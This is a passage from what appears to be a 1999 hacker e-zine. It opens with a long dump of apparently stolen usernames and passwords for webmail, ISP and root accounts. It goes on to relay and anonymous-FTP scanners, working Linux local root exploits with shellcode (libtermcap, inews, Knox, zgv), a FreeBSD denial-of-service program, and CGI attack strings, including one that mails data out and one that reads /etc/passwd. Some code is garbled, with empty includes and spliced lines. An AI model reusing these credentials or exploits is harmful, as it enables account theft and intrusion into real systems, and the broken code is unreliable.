fx.ro login eddy : mese [latency: 10/03/99 18:10:59 PDT] www.hotmail.com login cha_krey : 519919 [latency: 10/02/99 22:35:31 PDT] www.hotmail.com login clements_john : 56163035616303 [latency: 10/01/99 00:58:51 PDT] codetel.net.do login d.ortega.v : 0070 [latency: 09/29/99 10:31:47 PDT by daniel] www.hotmail.com login cmcgee98 : password [latency: 09/28/99 21:40:10 PDT] mail.yahoo.com login datainfo_1999 : 74galaxie [latency: 09/28/99 21:39:42 PDT] www.nightmail.com login jammer97 : rustyvolvo [latency: 09/28/99 21:38:15 PDT] www.hotmail.com login ShreaderUT : SliderUT [latency: 09/28/99 16:23:13 PDT by TIMI] lame.ccl.pt login Kayp : paulo.lle [latency: 09/28/99 12:34:24 PDT by FractalFaG] www.warez.com login webmaster : wAr3z4dM1n [latency: 09/28/99 10:51:40 PDT by W00f3R] jal1.telmex.net.mx login sulma : sulma [latency: 09/28/99 06:40:16 PDT] Sezampro.yu login br.jovanovic : 60a95m96 [latency: 09/27/99 20:01:55 PDT] hercule.muscel.ro login gciuca : iubisiiris [latency: 09/27/99 15:32:42 PDT] www.hotmail.com login davidmadeira : giboia [latency: 09/27/99 14:26:47 PDT] lame.ccl.pt login root : weareallfags [latency: 09/27/99 14:24:59 PDT] cyber.net.pk login rehman : sexygirl [latency: 09/27/99 14:07:55 PDT by SomeOneFromHeaven] zoooom.net login Noman : 687kan [latency: 09/27/99 14:06:49 PDT by SomeOneFromHeaven] www.ibm.net login meraman : teraman [latency: 09/27/99 14:05:54 PDT by SomeOneFromHeaven] super.net.pk login shahid : G12ThY [latency: 09/27/99 14:02:35 PDT by SomeOneFromHeaven] shell.icon.co.za login compaq : scorer [latency: 09/27/99 12:36:58 PDT] bocholt.de login root : root [latency: 09/26/99 09:07:32 PDT] 209.183.86.96 login ltlramsey : yesmar82 [latency: 09/25/99 11:16:10 PDT] enterprise.soongsil.ac.kr login proppy : fuckme [latency: 09/25/99 03:16:12 PDT] www.paymentnet.com login antony : kblecbpp [latency: 09/25/99 02:55:46 PDT] www.visa.com login Charles _Filart : Exp_ 3/01 [latency: 09/25/99 02:40:07 PDT] www.cvasnetwork.com login zebra : ZebraTech [latency: 09/25/99 02:37:47 PDT] www.hotmail.com login ShreaderUT : SliderUT [latency: 09/24/99 16:55:41 PDT by Syco] 207.121.191.105 login root : ********? [latency: 09/24/99 12:14:46 PDT by wh0now?] 202.134.2.5 login letme know if got it : letme know if got it [latency: 09/23/99 11:14:14 PDT] shell.icon.co.za login compaq : scorer [latency: 09/23/99 08:17:18 PDT by dean] tm.net.my login skkbp : usaha1 [latency: 09/22/99 21:48:02 PDT] www.hotmail.com login swinger : knockers [latency: 09/22/99 13:11:55 PDT] proxy4.emirates.net.ae login Usa : susu [latency: 09/22/99 09:38:05 PDT by min] jaring.my login eriz : namzire [latency: 09/22/99 02:13:51 PDT by eriz] fya2000.com = windows newbies login hybr|d : 666 [latency: 09/21/99 23:26:47 PDT by satan] chat.groovy.gr login mc : mc [latency: 09/21/99 13:49:07 PDT by mc2] www.visa.com login Charles _Filart : Exp_ 3/01 [latency: 09/20/99 20:39:51 PDT by #4921-0100-1255-0023] www.hotmail.com login atrocity : drugstore [latency: 09/20/99 11:02:56 PDT] www.gayarmy.com login cyber : army [latency: 09/18/99 05:55:21 PDT] netvision.net.il login root : adm353 [latency: 09/18/99 05:36:05 PDT] www.thepoison.org login Robbie : isastupidjew [latency: 09/17/99 04:54:51 PDT by KoRN] whitehouse.gov login bill : Babe [latency: 09/16/99 09:49:51 PDT by Tete] aol.com login CATWatch01 : ggcmad [latency: 09/14/99 20:32:10 PDT by ph33r m3] mail.yahoo.com login phillip_woodland : tintree50 [latency: 09/14/99 11:47:21 PDT by Mark Eades] fristaden.nu login hgniste : hgniste [latency: 09/14/99 04:07:05 PDT] 193.68.180.35 login ksx : klll.ss [latency: 09/13/99 21:57:10 PDT] 202.183.228.9 login petertan : 2333226 [latency: 09/13/99 07:44:10 PDT by petertan] 202.134.2.5 login letme know if got it : letme know if got it [latency: 09/12/99 18:13:23 PDT by telkom.net.id ] 194.142.110.145 login choose serv type 1 : SECRET [latency: 09/12/99 15:15:40 PDT by I hate that school] 24.0 SMTP Relay scanner ~~~~~~~~~~~~~~~~~~ #!/usr/bin/perl use Socket; use Net::SMTP; my $MAXPIDS=250; my $TESTFROM="YOUR\@EMAIL.HERE"; my $TESTTO="OTHER\@EMAIL.ADDRESS"; my $HELP=q {Usage: perl relaycheck.pl [-h | --help] host }; my @hosts; for $_ (@ARGV){ if(/^--(.*)/){ $_=$1; if(/help/){ print $HELP; exit(0); } } elsif(/^-(.*)/){ $_=$1; if(/^h/ or /^?/){ print $HELP; exit(0); } }else{ push @hosts,$_; } } if(!$hosts[0]){ print $HELP; exit(-1); } my $host; print "relaycheck v0.3 by dave weekly \n\n"; # bury dead children $SIG{CHLD}= sub{wait()}; # go through all of the hosts, replacing subnets with all contained IPs. for $host (@hosts){ $_=shift(@hosts); # scan a class C if(/^([^.]+)\.([^.]+)\.([^.]+)$/){ my $i; print "Expanding class C $_\n"; for($i=1;$i<255;$i++){ my $thost="$_.$i"; push @hosts,$thost; } } else{ push @hosts,$_; } } my @pids; my $npids=0; for $host (@hosts){ my $pid; $pid=fork(); if($pid>0){ $npids++; if($npids>$MAXPIDS){ for(1..($MAXPIDS/2)){ if(wait()>0){ $npids--; } } } next; }elsif($pid==-1){ print "fork error\n"; exit(0); }else{ $ARGV0="(checking $host)"; my($proto,$port,$sin,$ip); $proto=getprotobyname('tcp'); $port=25; $ip=inet_aton($host); if(!$ip){ print "couldn't find host $host\n"; exit(0); } $sin=sockaddr_in($port,$ip); socket(Sock, PF_INET, SOCK_STREAM, $proto); if(!connect(Sock,$sin)){ # print "couldn't connect to SMTP port on $host\n"; exit(0); } close(Sock); # SOMETHING is listening on the mail port... my $smtp = Net::SMTP->new($host, Timeout => 30); if(!$smtp){ # print "$host doesn't have an SMTP port open.\n"; exit(0); } my $domain = $smtp->domain(); # print "host $host identifies as $domain.\n"; $smtp->mail($TESTFROM); if($smtp->to($TESTTO)){ print "SMTP host $host [$domain] relays.\n"; }else{ print "SMTP host $host [$domain] does not relay.\n"; } $smtp->reset(); $smtp->quit(); exit(0); } } print "done spawning, $npids children remain\n"; # wait for my children $|=1; for(1..$npids){ my $wt=wait(); if($wt==-1){ print "hey $!\n"; redo; }else{ # print "$wt\n"; } } print "Done\n"; @HWA 25.0 FTP relay checker/scanner ~~~~~~~~~~~~~~~~~~~~~~~~~ #!/usr/bin/perl ######################################################## # ftpcheck v0.31 [November 2, 1998] # http://david.weekly.org/code # # by David Weekly # # Thanks to Shane Kerr for cleaning up the process code! # # This code is under the GPL. Use it freely. Enjoy. # Debug. Enhance. Email me the patches! ######################################################## use Socket; use Net::FTP; # timeouts in seconds for creating a socket and connecting my $MAX_SOCKET_TIME = 2; my $MAX_CONNECT_TIME = 3; my $HELP=qq{Usage: ftpcheck [-h | --help] [-p processes] [-d | --debug] host}; my @hosts; # how many simultaneous processes are we allowed to use? my $MAX_PROCESSES=10; my $DEBUG=0; while($_=shift){ if(/^--(.*)/){ $_=$1; if(/help/){ print $HELP; exit(0); } if(/debug/){ $DEBUG=1; } } elsif(/^-(.*)/){ $_=$1; if(/^h/ or /^\?/){ print $HELP; exit(0); } if(/^p/){ $MAX_PROCESSES=shift; } if(/^d/){ $DEBUG=1; } }else{ push @hosts,$_; } } if(!$hosts[0]){ print $HELP; exit(-1); } my $host; $|=1; print "ftpcheck v0.31 by dave weekly \n\n"; # go through all of the hosts, replacing subnets with all contained IPs. for $host (@hosts){ $_=shift(@hosts); # scan a class C if(/^([^.]+)\.([^.]+)\.([^.]+)$/){ my $i; print "Expanding class C $_\n" if($DEBUG); for($i=1;$i<255;$i++){ my $thost="$_.$i"; push @hosts,$thost; } } else{ push @hosts,$_; } } my @pids; my $npids=0; for $host (@hosts){ my $pid; $pid=fork(); if($pid>0){ $npids++; if($npids>=$MAX_PROCESSES){ for(1..($MAX_PROCESSES)){ $wait_ret=wait(); if($wait_ret>0){ $npids--; } } } next; }elsif(undef $pid){ print "fork error\n" if ($DEBUG); exit(0); }else{ my($proto,$port,$sin,$ip); print "Trying $host\n" if ($DEBUG); $0="(checking $host)"; # kill thread on timeout local $SIG{'ALRM'} = sub { exit(0); }; alarm $MAX_SOCKET_TIME; $proto=getprotobyname('tcp'); $port=21; $ip=inet_aton($host); if(!$ip){ print "couldn't find host $host\n" if($DEBUG); exit(0); } $sin=sockaddr_in($port,$ip); socket(Sock, PF_INET, SOCK_STREAM, $proto); alarm $MAX_CONNECT_TIME; if(!connect(Sock,$sin)){ exit(0); } my $iaddr=(unpack_sockaddr_in(getpeername(Sock)))[1]; close(Sock); # SOMETHING is listening on the FTP port...really ftp server? print "listen $host!\n" if($DEBUG); alarm 0; $hostname=gethostbyaddr($iaddr,AF_INET); # create new FTP connection w/5 second timeout $ftp = Net::FTP->new($host, Timeout => 5); if(!$ftp){ print " <$host ($hostname) denied you>\n" if($DEBUG); exit(0); } if(!$ftp->login("anonymous","just\@checking.com")){ print " FTP on $host [$hostname]\n"; exit(0); } print "Anon FTP on $host [$hostname]\n"; $ftp->quit; exit(0); } } print "done spawning, $npids children remain\n" if($DEBUG); # wait for my children for(1..$npids){ my $wt=wait(); if($wt==-1){ print "hey $!\n" if($DEBUG); redo; } } print "Done\n"; @HWA 26.0 The last line of defence, Broken by Brian Martin ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From http://www.securityfocus.com/ The Last Line of Defense, Broken by Brian Martin Wed Oct 06 1999 The Last Line of Defense, Broken The Public Perception of Security Companies Getting Compromised Every so often, the protectors of your most important digital resources get hit with a little mud in the face. The so-called last line of defense is broken, and the security company protecting your networks falls victim to the ones they work against. It happens, possibly more often than you realize, and it will continue to happen. The question to ask is what can be gleaned from a network security company getting hacked. Does it adversely affect business and undermine the trust and confidence customers place in them? Or is it fair warning that anyone is vulnerable to attack and a grim reality we must face in today's networked world? Perhaps it is a little of both. Security companies are there to offer security to companies lacking the ability to protect themselves. Further, they are the publicly-perceived experts in all things security related. Their software, consulting services, and superior knowledge of computers are but a small part of the aresenal they use to keep malicious intruders out of your networks. At what point do these resources break down and allow someone to compromise even a security firm's security? The Race Condition Those familiar with the technical side of UNIX security may recall many older exploits that relied on winning a Race Condition to achieve increased access. The concept of these attacks are that the program must beat the system in performing a specific function or task. If the exploit successfully beats the system to this target function, it is able to gain elevated priveledges giving the intruder more control over the system. If it fails the race, nothing extraordinary occurs. Much like the Race Condition attack, security companies and intruders are in a continued Race Condition every day. Each day the security companies stay secure, they are winning the race. Every day a security company is hacked, they have lost another leg of the race. Both hackers and security professionals are looking for new bugs in software and operating systems. Sometimes this entails elaborate testing against poorly documented software while other times it is detailed scrutiny of tens of thousands of lines of source code. The entire time this race is going on, security companies are also creating products that will hopefully protect them against entire classes of attacks. This effort is designed to attempt to protect them from the unknown, namely the undisclosed vulnerability that hackers have discovered before they do. These forms of protections are currently found in the form of firewalls, intrusion detection systems (IDS), and other specialized security software. Perception is Everything Back to the original question of perception of these incidents. There are two ways to perceive a security company failing in their own specialty: 1. The compromise of their network adversely affects business. The incident further undermines the trust and confidence their customers place in their ability to secure a network. 2. The compromise is fair warning that anyone is vulnerable and that there are simply too many undiscovered bugs out there. No one can reasonably expect security companies to find them all. Life has taught us that things are not that simple. Our perception (should be) based on more than the event of the hack. Rather our perception should be based on the hack and more importantly, the company's reaction to the incident. There are two basic ways a security company can react to an intrusion of their own network (assuming it is publicly known): 1. Admit there was a lapse in their own security and a network intrusion occured. Water under the bridge and a pledge to do better. 2. The government way: cover it up. Disavow! Never happened! If no customers know (or more to the point believe) an intrusion occured, then there is no loss of integrity and disaster has been averted. As logical and honorable as it sounds, not all security companies will admit to incidents that hurt their reputation. The downside to this course of action is when the public does find out. Like all things political, it escalates the incident into an embarassing failed coverup worthy of tabloids. Because many people believe admitting such things is automatic grounds for laughter and snide remarks, they take the low road and cover up. Rather than lie or attempt to obscure prior incidents, these companies must learn that it is a fact of life and they need to move on. Use these times of turmoil as motivation to achieve better security for them and their clients. Turn the negative into a positive. Track Record Some readers may be trying to think of what security companies have been victims of this and have had to deal with this. In the past year, each of these security sites have been publicly defaced: Network Security www.networksecurity.org Secure Service www.secure-service.org Securities Software www.securitiessoftware.com Secure Transfer www.secure-transfer.com AntiOnline www.antionline.com Security Net www.securitynet.net Network Flight Recorder www.nfr.net Symantec www.symantec.com Companies such as NFR who design Intrusion Detection Systems are particularly vulnerable to reputation damage over such incidents. Sites such as AntiOnline that continually boast about their own security often find such defacements more embarassing as well. Worse Than Being Attacked Yes, security companies face one thing worse than being hacked and having their web page defaced. The rumor of getting hacked. Once rumors get started, people demand answers and often won't settle on an answer until it is the one they wish to hear. Conspiracy-driven minds will not believe the truth no matter how many times it is told. This suspicion is often fueled by prior incidents in which companies have attempted to cover up intrusions. If SecurityCo Inc. has been talked about and rumors are floating around they were defaced, they are in a horrible position. Even if they respond truthfully and tell their customers they remain secure and have not experienced any network intrusions, some people will believe it to be a coverup. Despite there being no proof a company was hacked, no mirror of a web defacement and nothing more than "I heard", people often cling to the idea of it. FIN The act of a security company getting hacked and possibly defaced can be damaging, it's true. However, lying or trying to obscure such incidents can be much more damaging. If a company that created your best lines of defense gets hacked, understand that the security game is not an absolute. Everyone is vulnerable at one point or another. What should we think about our protectors falling victim? The choice is up to you but remember: no one is perfect. @HWA 27.0 libtermcap<2.0.8-15 sploit by typo@scene.at (libc jumpback) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From http://www.hack.co.za #include #include #include #include #include // yet another lame libtermcap<2.0.8-15 sploit by typo@scene.at (libc jumpback) // only made this to bypass nonexecutable stack patches - http://teso.scene.at/ // Redhat 6 offsets (i only needed these) int sys = 0x401bca40; // system int sh = 0x4025ab12; // /bin/sh int exi = 0x4020b910; // _exit int ran = 0x401b9928; // random offset in libc int eip = 2136; #define fil "/tmp/teso_termcap" #define xte "/usr/X11R6/bin/xterm" #define entry "xterm|" int main(int argc, char **argv) { char *buf; int fd, buflen; argv++; if (argc>1) // dec,!hex args sys = atoi(*(argv++)); if (argc>2) sh = atoi(*(argv++)); if (argc>3) exi = atoi(*(argv++)); if (argc>4) eip = atoi(*(argv++)); buflen = eip + 20; buf = (char *) malloc(buflen); memset(buf, 'x', buflen); buf[buflen] = 0; memcpy(buf, entry, strlen(entry)); memcpy (buf+buflen-4,":\\y",3); memcpy(buf+eip,&sys,4); memcpy(buf+eip+4,&exi,4); memcpy(buf+eip+8,&sh,4); memcpy(buf+eip+12,&ran,4); if ( (fd = open(fil, O_WRONLY|O_CREAT|O_TRUNC, "644"))<0) { perror("cannot create file"); exit(EXIT_FAILURE); } write(fd,buf,buflen); close(fd); free(buf); setenv("TERMCAP", fil, 1); execl(xte, "xterm", NULL); exit(EXIT_SUCCESS); } @HWA 28.0 inews exploit, returns inews gid ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From http://www.hack.co.za /* * inews exploit , gives you the inews egid . * bawd@kitetoa.com * greetz to nitro,shivan,rfp & Minus :) * * * RET addresses change between RH 5.2 ,6.0 etc.. * * RH 5.2 RET = 0xbffff6f0 * RH 6.0 RET = 0xbffff6e0 :> pretty hard to guess huhuhu.. * * * * * INN version 2.2 and earlier have a buffer * overflow condition in inews program allowing * any attacker to gain news group privileges. * * ISC INN 2.2, 2.1, 2.0, 1.7.2, 1.7, 1.5.1 * RedHat Linux 6.0, 5.2, 5.1, 5.0, 4.2, 4.1 * * * * */ #include #include #include #include #define DEFAULT_OFFSET 0 #define BUFFER_SIZE 540 #define RET 0xbffff6f0 main (int argc, char *argv[]) { FILE *fp; int offset = 0; char *buff = NULL; int i; u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07" "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12" "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8" "\xd7\xff\xff\xff/bin/sh"; if (argc > 1) offset = atoi (argv[1]); buff = malloc (1024); if (!buff) { printf ("malloc isnt working\n"); exit (0); } memset (buff, 0x90, BUFFER_SIZE); for (i = 100; i < BUFFER_SIZE - 4; i += 4) *(long *) &buff[i] = RET + offset; memcpy (buff + (100 - strlen (execshell)), execshell, strlen (execshell)); if ((fp = fopen ("filez", "w")) != NULL) { fprintf (fp, "From: %s\nSubject: y0\nNewsgroups: yaya le chat\n\n\n\n\n", buff); fclose (fp); execl ("/usr/bin/inews", "inews", "-h", "filez", NULL); } else { printf ("Couldnt open file : filez\n"); exit (0); } } /* www.hack.co.za */ @HWA 29.0 nlservd/rnavc local root exploit for Linux x86 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ /* * nlservd/rnavc local root exploit for Linux x86 * tested on SuSE 6.2 exploits Arkiea's Knox backup package. * gcc -o knox knox.c * ./knox * * * NOTE: you *MUST* have void main(){setuid(geteuid()); * system("/bin/bash");} * compiled in /tmp/ui for this to work. * * To exploit rnavc, simply change the execl call to * ("/usr/bin/knox/rnavc", "rnavc", NULL) * -Brock Tellier btellier@webley.com */ #include #include char exec[]= /* Generic Linux x86 running our /tmp program */ "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/tmp/ui"; #define LEN 2000 #define NOP 0x90 unsigned long get_sp(void) { __asm__("movl %esp, %eax"); } void main(int argc, char *argv[]) { int offset=0; int i; int buflen = LEN; long int addr; char buf[LEN]; if(argc > 3) { fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]); exit(0); } else if (argc == 2){ offset=atoi(argv[1]); } else if (argc == 3) { offset=atoi(argv[1]); buflen=atoi(argv[2]); } else { offset=2800; buflen=1200; } addr=get_sp(); fprintf(stderr, "Arkiea Knox backup package exploit\n"); fprintf(stderr, "For nlservd and rnavc\n"); fprintf(stderr, "Brock Tellier btellier@webley.com\n"); fprintf(stderr, "Using addr: 0x%x\n", addr+offset); memset(buf,NOP,buflen); memcpy(buf+(buflen/2),exec,strlen(exec)); for(i=((buflen/2) + strlen(exec))+3;i * $ * * Usage: ./mailex * */ #include #include #include #include #define BUF 10000 #define NOP 0x90 char shell[] = /* 0 */ "\xeb\x45" /* jmp springboard */ /* syscall: */ /* 2 */ "\x9a\xff\xff\xff\xff\x07\xff" /* lcall 0x7,0x0 */ /* 9 */ "\xc3" /* ret */ /* start: */ /* 10 */ "\x5e" /* popl %esi */ /* 11 */ "\x31\xc0" /* xor %eax,%eax */ /* 13 */ "\x89\x46\xb7" /* movl %eax,-0x49(%esi) */ /* 16 */ "\x88\x46\xbc" /* movb %al,-0x44(%esi) */ /* 19 */ "\x88\x46\x07" /* movb %al,0x7(%esi) */ /* 22 */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ /* setregid: */ /* 25 */ "\x31\xc0" /* xor %eax,%eax */ /* 27 */ "\xb0\x2f" /* movb $0x2f,%al */ /* 29 */ "\xe8\xe0\xff\xff\xff" /* call syscall */ /* 34 */ "\x52" /* pushl %edx */ /* 35 */ "\x52" /* pushl %edx */ /* 36 */ "\x31\xc0" /* xor %eax,%eax */ /* 38 */ "\xb0\xcb" /* movb $0xcb,%al */ /* 40 */ "\xe8\xd5\xff\xff\xff" /* call syscall */ /* 45 */ "\x83\xc4\x08" /* addl $0x4,%esp */ /* execve: */ /* 48 */ "\x31\xc0" /* xor %eax,%eax */ /* 50 */ "\x50" /* pushl %eax */ /* 51 */ "\x8d\x5e\x08" /* leal 0x8(%esi),%ebx */ /* 54 */ "\x53" /* pushl %ebx */ /* 55 */ "\x8d\x1e" /* leal (%esi),%ebx */ /* 57 */ "\x89\x5e\x08" /* movl %ebx,0x8(%esi) */ /* 60 */ "\x53" /* pushl %ebx */ /* 61 */ "\xb0\x3b" /* movb $0x3b,%al */ /* 63 */ "\xe8\xbe\xff\xff\xff" /* call syscall */ /* 68 */ "\x83\xc4\x0c" /* addl $0xc,%esp */ /* springboard: */ /* 71 */ "\xe8\xbe\xff\xff\xff" /* call start */ /* data: */ /* 76 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA */ /* 84 */ "\xff\xff\xff\xff" /* DATA */ /* 88 */ "\xff\xff\xff\xff"; /* DATA */ unsigned long int nop; unsigned long int esp; long int offset; char buf[BUF]; unsigned long int get_esp() { __asm__("movl %esp,%eax"); } void main (int argc, char *argv[]) { int buflen, i; if (argc > 1) offset = strtol(argv[1], NULL, 0); if (argc > 2) nop = strtoul(argv[2], NULL, 0); else nop = 285; if (argc > 3) buflen=atoi(argv[3]); else buflen=BUF; esp = get_esp(); memset(buf, NOP, buflen); memcpy(buf+nop, shell, strlen(shell)); for (i = nop+strlen(shell); i < buflen-4; i += 4) *((int *) &buf[i]) = esp+offset; for (i = 0; i < strlen(buf); i++) putchar(buf[i]); return; } @HWA 31.0 FreeBSD VFS Cache Exploit ~~~~~~~~~~~~~~~~~~~~~~~~~ /* A vulnerability exists in FreeBSD's new VFS cache introduced in version 3.0 that allows a local and possibly remote user to force the kernel to consume large quantities of wired memory thus creating a denial of service condition. The new VFS cache has no way to purge entries from memory while the file is open, consuming wired memory and allowing for the denial of service (memory that cannot be swapped out). */ #include #include #include #define NFILE 64 #define NLINK 30000 #define NCHAR 245 int main() { char junk[NCHAR+1], dir[2+1+2+1], file1[2+1+2+1+NCHAR+3+1], file2[2+1+2+1+NCHAR+3+1]; int i, j; struct stat sb; memset(junk, 'x', NCHAR); junk[NCHAR] = '\0'; for (i = 0; i < NFILE; i++) { printf("\r%02d/%05d...", i, 0), fflush(stdout); sprintf(dir, "%02d-%02d", i, 0); if (mkdir(dir, 0755) < 0) fprintf(stderr, "mkdir(%s) failed\n", dir), exit(1); sprintf(file1, "%s/%s%03d", dir, junk, 0); if (creat(file1, 0644) < 0) fprintf(stderr, "creat(%s) failed\n", file1), exit(1); if (stat(file1, &sb) < 0) fprintf(stderr, "stat(%s) failed\n", file1), exit(1); for (j = 1; j < NLINK; j++) { if ((j % 1000) == 0) { printf("\r%02d/%05d...", i, j), fflush(stdout); sprintf(dir, "%02d-%02d", i, j/1000); if (mkdir(dir, 0755) < 0) fprintf(stderr, "mkdir(%s) failed\n", dir), exit(1); } sprintf(file2, "%s/%s%03d", dir, junk, j%1000); if (link(file1, file2) < 0) fprintf(stderr, "link(%s,%s) failed\n", file1, file2), exit(1); if (stat(file2, &sb) < 0) fprintf(stderr, "stat(%s) failed\n", file2), exit(1); } } printf("\rfinished successfully\n"); } @HWA 32.0 Compaq, HP and MS join together to create PC Security Standards ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Contributed by Spikeman http://www.currents.net/newstoday/99/10/15/news3.html PC Security Standards By Staff, Newsbytes. October 15, 1999 Five of the heavyweights in the information-technology (IT) industry - Compaq Computer Corp. [NYSE:CPQ], Hewlett-Packard Co. [NYSE:HWP], IBM Corp. [NYSE:IBM], Intel Corp. [NASDAQ:INTC] and Microsoft Corp. [NASDAQ:MSFT] - are reportedly forming a group to develop a standard for personal-computer security. The Wall Street Journal reported the five members of the group, to be called the "Trusted Computing Platform Alliance (TCPA)," will focus on enhancing the security in the basic input-output system (BIOS), hardware and operating systems. The standard would generate random numbers that would be used to encrypt data and electronic signatures, both of which are used to authenticate parties in electronic commerce. Detection of computer viruses would also be helped with the group's work, the Journal also said. TCPA will reportedly invite other companies to participate in the group, which hopes to see a security spec ready for open licensing by the second half of 2000. @HWA 33.0 Crypto; It;s Not Just Red, White, And Blue ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Contributed by Spikeman http://www.techweb.com/wire/story/TWB19991015S0008 Crypto: It's Not Just Red, White, And Blue (10/15/99, 11:13 a.m. ET) By Mo Krochmal, TechWeb Cryptography is a growing industry, not only in the United States, but for a number of new countries, said a scientist who tracks the industry. "The use of cryptography to protect information is a worldwide effort," David Balenson, principal scientist for Network Associates (formerly McAfee), Glenwood, Md., said Thursday at The Internet Security Conference in Boston. Cryptographic products are coming from places such as Estonia, Iceland, Isle of Man, and Romania, said Balenson, who has surveyed the field since 1993. Companies such as Data Fellows of Finland and Check Point Software of Israel are competitors to U.S. security companies. The growth of the Internet and the increasing use of e-mail and VPNs has fueled the market, he said. The United States is the leading producer, followed by the United Kingdom, and then Germany. There are over 800 products available from 35 countries outside the United States, said Balenson who has surveyed the industry at George Washington University since 1994. "There is high growth there," he said. "The IETF and its working groups are producing standards that are maturing and contributing to this worldwide growth." Those looking for new vendors don't have far to go, Balenson said. "You can find it on the Web," he said "Every day I sit at my terminal and find more and more products available." Survey information is available at www.cpi.seas.gwu.edu/library/docs/summary.html. @HWA 34.0 redhat 6.0 / redhat 5.2 zgv local by icesk [gH] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From http://www.hack.co.za/ /* * [gH] icesk brings jue [gH] * -> redhat 6.0 / redhat 5.2 zgv local (literly on console or a terminal) * -> zgv 3.0 exploit. afects zgv 3.0 even AFTER the vendor patch. */ #include #include #include #define nop 0x90 /* not my shellcode */ char shellcode[] = "\xeb\x20\x5e\x8d\x46\x05\x80\x08\x20\x8d\x46\x27\x80\x08\x20\x40" "\x80\x08\x20\x40\x80\x08\x20\x40\x40\x80\x08\x20\x40\x80\x08\x20" "\xeb\x05\xe8\xdb\xff\xff\xff" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; u_long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char **argv) { char *buffer, *ptr; long *address_ptr, *address; int i, desc, offset = 0, bsize = 1024; buffer = malloc(bsize); (char *)address = get_sp() - offset; printf("return address %#x\n" ,address); ptr = buffer; address_ptr = (long *)ptr; for(i=0;i < bsize;i += 4) (int *)*(address_ptr++) = address; for(i=0;i < bsize / 2; i++) buffer[i] = nop; ptr = buffer + ((bsize / 2) - (strlen(shellcode) / 2)); for(i=0;i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buffer[bsize - 1] = '\0'; printf("g0t w00t sh3ll!\n"); setenv("HOME", buffer, 1); execl("/usr/bin/zgv", "zgv", 0); } /* www.hack.co.za */ @HWA 35.0 CGI and HTTP exploits v1.0 ~~~~~~~~~~~~~~~~~~~~~~~~~~ From http://www.hack.co.za/ Coldfusion ~~~~~~~~~~ Many web sites in earlt-mid 1999 were cracked using this exploit. Exploit: telnet target.machine.com 80 GET /cfdocs/expelval/openfile.cfm HTTP/1.0 GET /cfdocs/expelval/exprcalc.cfm HTTP/1.0 GET /cfdocs/expelval/displayopenedfile.cfm HTTP/1.0 Glimpse CGI hack ~~~~~~~~~~~~~~~~ Just like the PHF hack this one can't get much simpler... telnet target.machine.com 80 GET /cgi-bin/aglimpse/80|IFS=5;CMD=5mail5your_address\@your_computer.com\ Convert-Bas ~~~~~~~~~~~ Exploit: lynx http://victim.com/scripts/convert.bas?../../etc/passwd Count.cgi ~~~~~~~~~ /*############################################################### ################################################################# ## ## count.cgi.l.c - intel linux exploit for Count.cgi ## Gus/97 ## Shell code blatantly stolen from 'wwwcount.c' by ## Plaguez ## ## Spawns an xterm on your $DISPLAY, or override on command ## line. ## ## */ #include #include #include #include /* Forwards */ unsigned long getsp(int); int usage(char *); void doit(long, char *); /* Constants */ char shell[]= "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 